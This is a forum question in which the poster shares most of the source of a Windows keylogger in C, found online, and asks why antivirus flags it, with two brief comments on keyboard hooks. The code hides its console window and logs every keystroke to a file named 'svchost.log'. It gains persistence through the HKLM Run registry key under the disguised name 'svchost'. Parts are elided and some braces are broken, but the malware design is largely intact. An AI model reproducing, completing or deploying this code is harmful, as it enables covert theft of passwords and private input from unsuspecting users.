I found one online, which I wanted to try out at my house and see if it actually worked. It's written in C, and it is not very big at all considering half of it is just a bunch of cases for which key is pressed, ex:
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
and it also does a bit with the registry, like
reg_key=RegOpenKeyEx (HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
My windows 7 computer will pick this up as 'Potentially harmful software', while my XP computer at school with Symantec Endpoint Protection will not.. Being corporate software, I thought Symantec would pick it up in a heartbeat but it did not..
So my question is, what establishes this program as 'Potentially Harmful Software'? Is it the modification / usage of the registry or some other factor that generally gets a keylogger caught?
Note: There are other sections of the program, but I'd rather not just post the whole keylogger here =p If you're interested in finding one you can do that yourself =p
Here's most of the keylogger, but I left out a few statements (if-else and switch) that pretty much only wrote the data to memory. Would this help to answer my question?
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);
}
int t=get_keys();
return t;
}
int get_keys(void)
{
short character;
while(1)
{
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
A lot of switch statements left out for brevity
I left out a lot of if-elses as well, all they did was write the
data to the file.
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}

WH_KEYBOARD,WH_KEYBOARD_LLor something else? – CodesInChaos Feb 17 '12 at 13:44SetWindowsHookExbased loggers work with limited users, but I don't know how they interact with elevated programs running on the same desktop. – CodesInChaos Feb 17 '12 at 14:49